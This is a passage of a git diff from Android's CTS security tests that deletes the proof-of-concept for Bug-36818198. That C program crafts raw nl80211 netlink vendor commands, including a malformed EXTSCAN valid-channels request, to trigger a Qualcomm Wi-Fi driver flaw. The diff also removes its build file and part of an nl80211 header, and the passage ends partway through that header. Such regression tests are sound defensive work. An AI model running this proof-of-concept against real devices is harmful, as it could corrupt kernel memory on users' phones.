-  QCA_NL80211_VENDOR_SUBCMD_ROAM = 64,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SET_SSID_HOTLIST = 65,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_RESET_SSID_HOTLIST = 66,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_SSID_FOUND = 67,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_SSID_LOST = 68,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_LIST = 69,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_PASSPOINT_LIST = 70,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_RESET_PASSPOINT_LIST = 71,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_NETWORK_FOUND = 72,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_PASSPOINT_NETWORK_FOUND = 73,
-
-  /* Wi-Fi Configuration subcommands */
-  QCA_NL80211_VENDOR_SUBCMD_SET_WIFI_CONFIGURATION = 74,
-  QCA_NL80211_VENDOR_SUBCMD_GET_WIFI_CONFIGURATION = 75,
-
-  QCA_NL80211_VENDOR_SUBCMD_GET_LOGGER_FEATURE_SET = 76,
-  QCA_NL80211_VENDOR_SUBCMD_GET_RING_DATA = 77,
-  QCA_NL80211_VENDOR_SUBCMD_TDLS_GET_CAPABILITIES = 78,
-
-  QCA_NL80211_VENDOR_SUBCMD_OFFLOADED_PACKETS = 79,
-  QCA_NL80211_VENDOR_SUBCMD_MONITOR_RSSI = 80,
-  QCA_NL80211_VENDOR_SUBCMD_NDP = 81,
-
-  /* NS Offload enable/disable cmd */
-  QCA_NL80211_VENDOR_SUBCMD_ND_OFFLOAD = 82,
-
-  QCA_NL80211_VENDOR_SUBCMD_PACKET_FILTER = 83,
-  QCA_NL80211_VENDOR_SUBCMD_GET_BUS_SIZE = 84,
-
-  QCA_NL80211_VENDOR_SUBCMD_GET_WAKE_REASON_STATS = 85,
-
-  /* OCB commands */
-  QCA_NL80211_VENDOR_SUBCMD_OCB_SET_CONFIG = 92,
-  QCA_NL80211_VENDOR_SUBCMD_OCB_SET_UTC_TIME = 93,
-  QCA_NL80211_VENDOR_SUBCMD_OCB_START_TIMING_ADVERT = 94,
-  QCA_NL80211_VENDOR_SUBCMD_OCB_STOP_TIMING_ADVERT = 95,
-  QCA_NL80211_VENDOR_SUBCMD_OCB_GET_TSF_TIMER = 96,
-  QCA_NL80211_VENDOR_SUBCMD_DCC_GET_STATS = 97,
-  QCA_NL80211_VENDOR_SUBCMD_DCC_CLEAR_STATS = 98,
-  QCA_NL80211_VENDOR_SUBCMD_DCC_UPDATE_NDL = 99,
-  QCA_NL80211_VENDOR_SUBCMD_DCC_STATS_EVENT = 100,
-
-  /* subcommand to get link properties */
-  QCA_NL80211_VENDOR_SUBCMD_LINK_PROPERTIES = 101,
-  QCA_NL80211_VENDOR_SUBCMD_SETBAND = 105,
-  QCA_NL80211_VENDOR_SUBCMD_SET_SAP_CONFIG = 118,
-};
-
-enum qca_wlan_vendor_attr {
-  QCA_WLAN_VENDOR_ATTR_INVALID = 0,
-  /* used by QCA_NL80211_VENDOR_SUBCMD_DFS_CAPABILITY */
-  QCA_WLAN_VENDOR_ATTR_DFS = 1,
-  /* used by QCA_NL80211_VENDOR_SUBCMD_NAN */
-  QCA_WLAN_VENDOR_ATTR_NAN = 2,
-  /* used by QCA_NL80211_VENDOR_SUBCMD_STATS_EXT */
-  QCA_WLAN_VENDOR_ATTR_STATS_EXT = 3,
-  /* used by QCA_NL80211_VENDOR_SUBCMD_STATS_EXT */
-  QCA_WLAN_VENDOR_ATTR_IFINDEX = 4,
-
-  /* used by QCA_NL80211_VENDOR_SUBCMD_ROAMING */
-  QCA_WLAN_VENDOR_ATTR_ROAMING_POLICY = 5,
-  QCA_WLAN_VENDOR_ATTR_MAC_ADDR = 6,
-
-  /* used by QCA_NL80211_VENDOR_SUBCMD_GET_FEATURES */
-  QCA_WLAN_VENDOR_ATTR_FEATURE_FLAGS = 7,
-
-  /* Unsigned 32-bit value from enum qca_set_band */
-  QCA_WLAN_VENDOR_ATTR_SETBAND_VALUE = 12,
-
-  /* keep last */
-  QCA_WLAN_VENDOR_ATTR_AFTER_LAST,
-  QCA_WLAN_VENDOR_ATTR_MAX = QCA_WLAN_VENDOR_ATTR_AFTER_LAST - 1
-};
-
-#define NETLINK_KERNEL_SOCKET 0x1
-#define NETLINK_RECV_PKTINFO 0x2
-#define NETLINK_BROADCAST_SEND_ERROR 0x4
-#define NETLINK_RECV_NO_ENOBUFS 0x8
-
-#define NLMSG_MIN_TYPE 0x10
-
-#define GENL_ID_GENERATE 0
-#define GENL_ID_CTRL NLMSG_MIN_TYPE
-#define GENL_ID_VFS_DQUOT (NLMSG_MIN_TYPE + 1)
-#define GENL_ID_PMCRAID (NLMSG_MIN_TYPE + 2)
-
-#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
-#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
-#define QCA_NL80211_VENDOR_ID 0x001374
-
-#define MAX_MSG_SIZE 1024
-
-struct msgtemplate {
-  struct nlmsghdr n;
-  struct genlmsghdr g;
-  char buf[MAX_MSG_SIZE];
-};
-
-enum qca_wlan_vendor_attr_ndp_params {
-  QCA_WLAN_VENDOR_ATTR_NDP_PARAM_INVALID = 0,
-  QCA_WLAN_VENDOR_ATTR_NDP_SUBCMD,
-  QCA_WLAN_VENDOR_ATTR_NDP_TRANSACTION_ID,
-  QCA_WLAN_VENDOR_ATTR_NDP_SERVICE_INSTANCE_ID,
-  QCA_WLAN_VENDOR_ATTR_NDP_CHANNEL,
-  QCA_WLAN_VENDOR_ATTR_NDP_PEER_DISCOVERY_MAC_ADDR,
-  QCA_WLAN_VENDOR_ATTR_NDP_IFACE_STR,
-  QCA_WLAN_VENDOR_ATTR_NDP_CONFIG_SECURITY,
-  QCA_WLAN_VENDOR_ATTR_NDP_CONFIG_QOS,
-  QCA_WLAN_VENDOR_ATTR_NDP_APP_INFO_LEN,
-  QCA_WLAN_VENDOR_ATTR_NDP_APP_INFO,
-  QCA_WLAN_VENDOR_ATTR_NDP_INSTANCE_ID,
-  QCA_WLAN_VENDOR_ATTR_NDP_NUM_INSTANCE_ID,
-  QCA_WLAN_VENDOR_ATTR_NDP_INSTANCE_ID_ARRAY,
-  QCA_WLAN_VENDOR_ATTR_NDP_RESPONSE_CODE,
-  QCA_WLAN_VENDOR_ATTR_NDP_SCHEDULE_STATUS_CODE,
-  QCA_WLAN_VENDOR_ATTR_NDP_NDI_MAC_ADDR,
-  QCA_WLAN_VENDOR_ATTR_NDP_DRV_RETURN_TYPE,
-  QCA_WLAN_VENDOR_ATTR_NDP_DRV_RETURN_VALUE,
-
-  QCA_WLAN_VENDOR_ATTR_NDP_PARAMS_AFTER_LAST,
-  QCA_WLAN_VENDOR_ATTR_NDP_PARAMS_MAX =
-      QCA_WLAN_VENDOR_ATTR_NDP_PARAMS_AFTER_LAST - 1,
-};
-
-enum qca_wlan_vendor_attr_dcc_update_ndl {
-  QCA_WLAN_VENDOR_ATTR_DCC_UPDATE_NDL_INVALID = 0,
-  QCA_WLAN_VENDOR_ATTR_DCC_UPDATE_NDL_CHANNEL_COUNT,
-  QCA_WLAN_VENDOR_ATTR_DCC_UPDATE_NDL_CHANNEL_ARRAY,
-  QCA_WLAN_VENDOR_ATTR_DCC_UPDATE_NDL_ACTIVE_STATE_ARRAY,
-  QCA_WLAN_VENDOR_ATTR_DCC_UPDATE_NDL_AFTER_LAST,
-  QCA_WLAN_VENDOR_ATTR_DCC_UPDATE_NDL_MAX =
-      QCA_WLAN_VENDOR_ATTR_DCC_UPDATE_NDL_AFTER_LAST - 1,
-};
-
-#define PARAM_MAX QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX
-#define PARAM_REQUEST_ID \
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID
-#define PARAM_BASE_PERIOD \
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_BASE_PERIOD
-#define PARAM_MAX_AP_PER_SCAN \
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_MAX_AP_PER_SCAN
-#define PARAM_RPT_THRHLD_PERCENT \
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD_PERCENT
-#define PARAM_RPT_THRHLD_NUM_SCANS \
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD_NUM_SCANS
-#define PARAM_NUM_BUCKETS \
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_NUM_BUCKETS
-#define PARAM_CONFIG_FLAGS QCA_WLAN_VENDOR_ATTR_EXTSCAN_CONFIGURATION_FLAGS
-
-static int send_cmd(int sd, __u16 nlmsg_type, __u32 nlmsg_pid, __u8 genl_cmd,
-                    __u16 nla_type, void *nla_data, int nla_len) {
-  struct nlattr *na;
-  struct sockaddr_nl nladdr;
-  int r, buflen;
-  char *buf;
-
-  struct msgtemplate msg;
-
-  msg.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
-  msg.n.nlmsg_type = nlmsg_type;
-  msg.n.nlmsg_flags = NLM_F_REQUEST;
-  msg.n.nlmsg_seq = 0;
-  msg.n.nlmsg_pid = nlmsg_pid;
-  msg.g.cmd = genl_cmd;
-  msg.g.version = 0x1;
-  na = (struct nlattr *)GENLMSG_DATA(&msg);
-  na->nla_type = nla_type;
-  na->nla_len = nla_len + 1 + NLA_HDRLEN;
-  memcpy(NLA_DATA(na), nla_data, nla_len);
-  msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
-
-  buf = (char *)&msg;
-  buflen = msg.n.nlmsg_len;
-  memset(&nladdr, 0, sizeof(nladdr));
-  nladdr.nl_family = AF_NETLINK;
-
-  if (buflen !=
-      sendto(sd, buf, buflen, 0, (struct sockaddr *)&nladdr, sizeof(nladdr))) {
-    return -1;
-  }
-
-  return 0;
-}
-
-static int get_family_id(int sd) {
-  int id = 0, rc;
-  struct nlattr *na;
-  int rep_len;
-  struct msgtemplate ans;
-
-  memset(&ans, 0, sizeof(struct msgtemplate));
-
-  rc = send_cmd(sd, GENL_ID_CTRL, getpid(), CTRL_CMD_GETFAMILY,
-                CTRL_ATTR_FAMILY_NAME, (void *)NL80211_GENL_NAME,
-                strlen(NL80211_GENL_NAME) + 1);
-  if (rc < 0) {
-    return 0; /* sendto() failure? */
-  }
-
-  rep_len = recv(sd, &ans, sizeof(ans), 0);
-  if (rep_len < 0) {
-    return -1;
-  }
-
-  na = (struct nlattr *)GENLMSG_DATA(&ans);
-  na = (struct nlattr *)((char *)na + NLA_ALIGN(na->nla_len));
-  if (na->nla_type == CTRL_ATTR_FAMILY_ID) {
-    id = *(__u16 *)NLA_DATA(na);
-  }
-  na = (struct nlattr *)((char *)na + NLA_ALIGN(na->nla_len));
-  return id;
-}
-
-int start_p2p(int id, int fd) {
-  struct nlattr *na;
-  struct nlattr *na_data;
-  struct sockaddr_nl nladdr;
-  int r, buflen, ret;
-  char *buf;
-  struct msgtemplate msg, ans;
-
-  msg.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
-  msg.n.nlmsg_type = id;
-  msg.n.nlmsg_flags = NLM_F_REQUEST;
-  msg.n.nlmsg_seq = 0;
-  msg.n.nlmsg_pid = getpid();
-  msg.g.cmd = NL80211_CMD_START_P2P_DEVICE;
-  msg.g.version = 1;
-
-  na = (struct nlattr *)GENLMSG_DATA(&msg);
-  na->nla_type = NL80211_ATTR_WIPHY;
-  na->nla_len = 4 + NLA_HDRLEN;
-  *(u32 *)NLA_DATA(na) = 0;
-  msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
-
-  na = (struct nlattr *)((char *)na + NLMSG_ALIGN(na->nla_len));
-  na->nla_type = NL80211_ATTR_IFINDEX;
-  na->nla_len = 4 + NLA_HDRLEN;
-  *(u32 *)NLA_DATA(na) = 24;
-  msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
-
-  buf = (char *)&msg;
-  buflen = msg.n.nlmsg_len;
-  memset(&nladdr, 0, sizeof(nladdr));
-  nladdr.nl_family = AF_NETLINK;
-  ret = sendto(fd, buf, buflen, 0, (struct sockaddr *)&nladdr, sizeof(nladdr));
-  if (ret < 0) {
-    return -1;
-  }
-
-  ret = recv(fd, &ans, sizeof(ans), 0);
-
-  return ret;
-}
-
-unsigned if_nametoindex(const char *ifname) {
-  int s = socket(AF_INET, SOCK_DGRAM | SOCK_CLOEXEC, 0);
-  if (s == -1) return 0;
-  int ret = 0;
-  struct ifreq ifr;
-
-  memset(&ifr, 0, sizeof(ifr));
-  strncpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name));
-  ifr.ifr_name[IFNAMSIZ - 1] = 0;
-
-  ret = ioctl(s, SIOCGIFINDEX, &ifr);
-  close(s);
-  return (ret == -1) ? 0 : ifr.ifr_ifindex;
-}
-
-int get_wiphy_idx(int id, int fd, int *ifindex, int *wiphyid, char *ifname) {
-  struct nlattr *na;
-  struct nlattr *na_data;
-  struct sockaddr_nl nladdr;
-  int r, buflen, ret;
-  char *buf;
-  struct msgtemplate msg, ans;
-
-  int if_index = if_nametoindex("wlan0");
-  msg.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
-  msg.n.nlmsg_type = id;
-  msg.n.nlmsg_flags = NLM_F_REQUEST;
-  msg.n.nlmsg_seq = 0;
-  msg.n.nlmsg_pid = getpid();
-  msg.g.cmd = NL80211_CMD_GET_INTERFACE;
-  msg.g.version = 1;
-
-  na = (struct nlattr *)GENLMSG_DATA(&msg);
-  na->nla_type = NL80211_ATTR_IFINDEX;
-  na->nla_len = 4 + NLA_HDRLEN;
-  *(u32 *)NLA_DATA(na) = if_index;
-  msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
-
-  buf = (char *)&msg;
-  buflen = msg.n.nlmsg_len;
-  memset(&nladdr, 0, sizeof(nladdr));
-  nladdr.nl_family = AF_NETLINK;
-  ret = sendto(fd, buf, buflen, 0, (struct sockaddr *)&nladdr, sizeof(nladdr));
-  if (ret < 0) {
-    return -1;
-  }
-
-  memset(&ans, 0, sizeof(ans));
-  ret = recv(fd, &ans, sizeof(ans), 0);
-
-  na = (struct nlattr *)GENLMSG_DATA(&ans);
-  *ifindex = *(u32 *)NLA_DATA(na);
-
-  na = (struct nlattr *)((char *)na + NLA_ALIGN(na->nla_len));
-  strcpy(ifname, NLA_DATA(na));
-
-  na = (struct nlattr *)((char *)na + NLA_ALIGN(na->nla_len));
-  *wiphyid = *(u32 *)NLA_DATA(na);
-
-  return ret;
-}
-
-int main(int argc, const char *argv[]) {
-  int ret;
-
-  int fd;
-  struct sockaddr_nl local;
-  struct msgtemplate ans;
-
-  fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
-  if (fd < 0) return -1;
-
-  memset(&local, 0, sizeof(local));
-  local.nl_family = AF_NETLINK;
-
-  if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0) {
-    return -1;
-  }
-
-  int id = get_family_id(fd);
-
-  int ifindex, wiphyid;
-  char ifname[64];
-  get_wiphy_idx(id, fd, &ifindex, &wiphyid, ifname);
-
-  struct nlattr *na;
-  struct nlattr *na_data;
-  struct sockaddr_nl nladdr;
-  int r, buflen;
-  char *buf;
-  struct msgtemplate msg;
-
-  msg.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
-  msg.n.nlmsg_type = id;
-  msg.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
-  msg.n.nlmsg_seq = time(0);
-  msg.n.nlmsg_pid = getpid();
-  msg.g.cmd = NL80211_CMD_VENDOR;
-  msg.g.version = 1;
-
-  na = (struct nlattr *)GENLMSG_DATA(&msg);
-  na->nla_type = NL80211_ATTR_VENDOR_ID;
-  na->nla_len = 4 + NLA_HDRLEN;
-  *(u32 *)NLA_DATA(na) = QCA_NL80211_VENDOR_ID;
-  msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
-
-  na = (struct nlattr *)((char *)na + NLMSG_ALIGN(na->nla_len));
-  na->nla_type = NL80211_ATTR_VENDOR_SUBCMD;
-  na->nla_len = 4 + NLA_HDRLEN;
-  *(u32 *)NLA_DATA(na) = QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_GET_VALID_CHANNELS;
-  msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
-
-  na = (struct nlattr *)((char *)na + NLMSG_ALIGN(na->nla_len));
-  na->nla_type = NL80211_ATTR_IFINDEX;
-  na->nla_len = 4 + NLA_HDRLEN;
-  *(u32 *)NLA_DATA(na) = ifindex;
-  msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
-
-  char data[1024] = {0};
-  int data_size = 0;
-  na_data = data;
-
-  na_data = (struct nlattr *)((char *)na_data + NLMSG_ALIGN(na_data->nla_len));
-  na_data->nla_type =
-      QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_VALID_CHANNELS_CONFIG_PARAM_WIFI_BAND;
-  na_data->nla_len = 4 + NLA_HDRLEN;
-  *(u32 *)NLA_DATA(na_data) = 1;
-  data_size += NLMSG_ALIGN(na_data->nla_len);
-
-  na_data = (struct nlattr *)((char *)na_data + NLMSG_ALIGN(na_data->nla_len));
-  na_data->nla_type =
-      QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_VALID_CHANNELS_CONFIG_PARAM_MAX_CHANNELS;
-  na_data->nla_len = 0 + NLA_HDRLEN;
-  data_size += NLMSG_ALIGN(na_data->nla_len);
-
-  na = (struct nlattr *)((char *)na + NLMSG_ALIGN(na->nla_len));
-  na->nla_type = NL80211_ATTR_VENDOR_DATA;
-  na->nla_len = data_size + NLA_HDRLEN;
-  memcpy(NLA_DATA(na), data, data_size);
-  msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
-
-  buf = (char *)&msg;
-  buflen = msg.n.nlmsg_len;
-  memset(&nladdr, 0, sizeof(nladdr));
-  nladdr.nl_family = AF_NETLINK;
-  ret = sendto(fd, buf, buflen, 0, (struct sockaddr *)&nladdr, sizeof(nladdr));
-  if (ret < 0) {
-    return -1;
-  }
-
-  memset(&ans, 0, sizeof(ans));
-
-  ret = recv(fd, &ans, sizeof(ans), 0);
-  na = (struct nlattr *)GENLMSG_DATA(&ans);
-  char *temp = na;
-
-  struct nlattr *nla;
-  int rem;
-  nla_for_each_attr(nla, na, ret - 20, rem) {
-    if (nla->nla_type == NL80211_ATTR_VENDOR_DATA) {
-      struct nlattr *nla0;
-      int rem0;
-      nla_for_each_attr(nla0, NLA_DATA(nla), nla->nla_len, rem0) {
-        break;
-      }
-    }
-  }
-  return ret;
-}
diff --git a/hostsidetests/security/securityPatch/Bug-36818198/Android.mk b/hostsidetests/security/securityPatch/Bug-36818198/Android.mk
deleted file mode 100644
index b34f64e..0000000
--- a/hostsidetests/security/securityPatch/Bug-36818198/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-36818198
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-36818198/local_poc.h b/hostsidetests/security/securityPatch/Bug-36818198/local_poc.h
deleted file mode 100644
index 5eb6662..0000000
--- a/hostsidetests/security/securityPatch/Bug-36818198/local_poc.h
+++ /dev/null
@@ -1,4403 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#ifndef __LINUX_NL80211_H
-#define __LINUX_NL80211_H
-/*
- * 802.11 netlink interface public header
- *
- * Copyright 2006-2010 Johannes Berg <johannes@sipsolutions.net>
- * Copyright 2008 Michael Wu <flamingice@sourmilk.net>
- * Copyright 2008 Luis Carlos Cobo <luisca@cozybit.com>
- * Copyright 2008 Michael Buesch <m@bues.ch>
- * Copyright 2008, 2009 Luis R. Rodriguez <lrodriguez@atheros.com>
- * Copyright 2008 Jouni Malinen <jouni.malinen@atheros.com>
- * Copyright 2008 Colin McCabe <colin@cozybit.com>
- *
- * Permission to use, copy, modify, and/or distribute this software for any
- * purpose with or without fee is hereby granted, provided that the above
- * copyright notice and this permission notice appear in all copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
- * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
- * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
- * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
- * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
- * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
- * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
- *
- */
-
-#include <linux/types.h>
-
-#define NL80211_GENL_NAME "nl80211"
-
-/**
- * DOC: Station handling
- *
- * Stations are added per interface, but a special case exists with VLAN
- * interfaces. When a station is bound to an AP interface, it may be moved
- * into a VLAN identified by a VLAN interface index (%NL80211_ATTR_STA_VLAN).
- * The station is still assumed to belong to the AP interface it was added
- * to.
- *
- * Station handling varies per interface type and depending on the driver's
- * capabilities.
- *
- * For drivers supporting TDLS with external setup (WIPHY_FLAG_SUPPORTS_TDLS
- * and WIPHY_FLAG_TDLS_EXTERNAL_SETUP), the station lifetime is as follows:
- *  - a setup station entry is added, not yet authorized, without any rate
- *    or capability information, this just exists to avoid race conditions
- *  - when the TDLS setup is done, a single NL80211_CMD_SET_STATION is valid
- *    to add rate and capability information to the station and at the same
- *    time mark it authorized.
- *  - %NL80211_TDLS_ENABLE_LINK is then used
- *  - after this, the only valid operation is to remove it by tearing down
- *    the TDLS link (%NL80211_TDLS_DISABLE_LINK)
- *
- * TODO: need more info for other interface types
- */
-
-/**
- * DOC: Frame transmission/registration support
- *
- * Frame transmission and registration support exists to allow userspace
- * management entities such as wpa_supplicant react to management frames
- * that are not being handled by the kernel. This includes, for example,
- * certain classes of action frames that cannot be handled in the kernel
- * for various reasons.
- *
- * Frame registration is done on a per-interface basis and registrations
- * cannot be removed other than by closing the socket. It is possible to
- * specify a registration filter to register, for example, only for a
- * certain type of action frame. In particular with action frames, those
- * that userspace registers for will not be returned as unhandled by the
- * driver, so that the registered application has to take responsibility
- * for doing that.
- *
- * The type of frame that can be registered for is also dependent on the
- * driver and interface type. The frame types are advertised in wiphy
- * attributes so applications know what to expect.
- *
- * NOTE: When an interface changes type while registrations are active,
- *       these registrations are ignored until the interface type is
- *       changed again. This means that changing the interface type can
- *       lead to a situation that couldn't otherwise be produced, but
- *       any such registrations will be dormant in the sense that they
- *       will not be serviced, i.e. they will not receive any frames.
- *
- * Frame transmission allows userspace to send for example the required
- * responses to action frames. It is subject to some sanity checking,
- * but many frames can be transmitted. When a frame was transmitted, its
- * status is indicated to the sending socket.
- *
- * For more technical details, see the corresponding command descriptions
- * below.
- */
-
-/**
- * DOC: Virtual interface / concurrency capabilities
- *
- * Some devices are able to operate with virtual MACs, they can have
- * more than one virtual interface. The capability handling for this
- * is a bit complex though, as there may be a number of restrictions
- * on the types of concurrency that are supported.
- *
- * To start with, each device supports the interface types listed in
- * the %NL80211_ATTR_SUPPORTED_IFTYPES attribute, but by listing the
- * types there no concurrency is implied.
- *
- * Once concurrency is desired, more attributes must be observed:
- * To start with, since some interface types are purely managed in
- * software, like the AP-VLAN type in mac80211 for example, there's
- * an additional list of these, they can be added at any time and
- * are only restricted by some semantic restrictions (e.g. AP-VLAN
- * cannot be added without a corresponding AP interface). This list
- * is exported in the %NL80211_ATTR_SOFTWARE_IFTYPES attribute.
- *
- * Further, the list of supported combinations is exported. This is
- * in the %NL80211_ATTR_INTERFACE_COMBINATIONS attribute. Basically,
- * it exports a list of "groups", and at any point in time the
- * interfaces that are currently active must fall into any one of
- * the advertised groups. Within each group, there are restrictions
- * on the number of interfaces of different types that are supported
- * and also the number of different channels, along with potentially
- * some other restrictions. See &enum nl80211_if_combination_attrs.
- *
- * All together, these attributes define the concurrency of virtual
- * interfaces that a given device supports.
- */
-
-/**
- * DOC: packet coalesce support
- *
- * In most cases, host that receives IPv4 and IPv6 multicast/broadcast
- * packets does not do anything with these packets. Therefore the
- * reception of these unwanted packets causes unnecessary processing
- * and power consumption.
- *
- * Packet coalesce feature helps to reduce number of received interrupts
- * to host by buffering these packets in firmware/hardware for some
- * predefined time. Received interrupt will be generated when one of the
- * following events occur.
- * a) Expiration of hardware timer whose expiration time is set to maximum
- * coalescing delay of matching coalesce rule.
- * b) Coalescing buffer in hardware reaches it's limit.
- * c) Packet doesn't match any of the configured coalesce rules.
- *
- * User needs to configure following parameters for creating a coalesce
- * rule.
- * a) Maximum coalescing delay
- * b) List of packet patterns which needs to be matched
- * c) Condition for coalescence. pattern 'match' or 'no match'
- * Multiple such rules can be created.
- */
-
-/**
- * enum nl80211_commands - supported nl80211 commands
- *
- * @NL80211_CMD_UNSPEC: unspecified command to catch errors
- *
- * @NL80211_CMD_GET_WIPHY: request information about a wiphy or dump request
- *	to get a list of all present wiphys.
- * @NL80211_CMD_SET_WIPHY: set wiphy parameters, needs %NL80211_ATTR_WIPHY or
- *	%NL80211_ATTR_IFINDEX; can be used to set %NL80211_ATTR_WIPHY_NAME,
- *	%NL80211_ATTR_WIPHY_TXQ_PARAMS, %NL80211_ATTR_WIPHY_FREQ (and the
- *	attributes determining the channel width; this is used for setting
- *	monitor mode channel),  %NL80211_ATTR_WIPHY_RETRY_SHORT,
- *	%NL80211_ATTR_WIPHY_RETRY_LONG, %NL80211_ATTR_WIPHY_FRAG_THRESHOLD,
- *	and/or %NL80211_ATTR_WIPHY_RTS_THRESHOLD.
- *	However, for setting the channel, see %NL80211_CMD_SET_CHANNEL
- *	instead, the support here is for backward compatibility only.
- * @NL80211_CMD_NEW_WIPHY: Newly created wiphy, response to get request
- *	or rename notification. Has attributes %NL80211_ATTR_WIPHY and
- *	%NL80211_ATTR_WIPHY_NAME.
- * @NL80211_CMD_DEL_WIPHY: Wiphy deleted. Has attributes
- *	%NL80211_ATTR_WIPHY and %NL80211_ATTR_WIPHY_NAME.
- *
- * @NL80211_CMD_GET_INTERFACE: Request an interface's configuration;
- *	either a dump request on a %NL80211_ATTR_WIPHY or a specific get
- *	on an %NL80211_ATTR_IFINDEX is supported.
- * @NL80211_CMD_SET_INTERFACE: Set type of a virtual interface, requires
- *	%NL80211_ATTR_IFINDEX and %NL80211_ATTR_IFTYPE.
- * @NL80211_CMD_NEW_INTERFACE: Newly created virtual interface or response
- *	to %NL80211_CMD_GET_INTERFACE. Has %NL80211_ATTR_IFINDEX,
- *	%NL80211_ATTR_WIPHY and %NL80211_ATTR_IFTYPE attributes. Can also
- *	be sent from userspace to request creation of a new virtual interface,
- *	then requires attributes %NL80211_ATTR_WIPHY, %NL80211_ATTR_IFTYPE and
- *	%NL80211_ATTR_IFNAME.
- * @NL80211_CMD_DEL_INTERFACE: Virtual interface was deleted, has attributes
- *	%NL80211_ATTR_IFINDEX and %NL80211_ATTR_WIPHY. Can also be sent from
- *	userspace to request deletion of a virtual interface, then requires
- *	attribute %NL80211_ATTR_IFINDEX.
- *
- * @NL80211_CMD_GET_KEY: Get sequence counter information for a key specified
- *	by %NL80211_ATTR_KEY_IDX and/or %NL80211_ATTR_MAC.
- * @NL80211_CMD_SET_KEY: Set key attributes %NL80211_ATTR_KEY_DEFAULT,
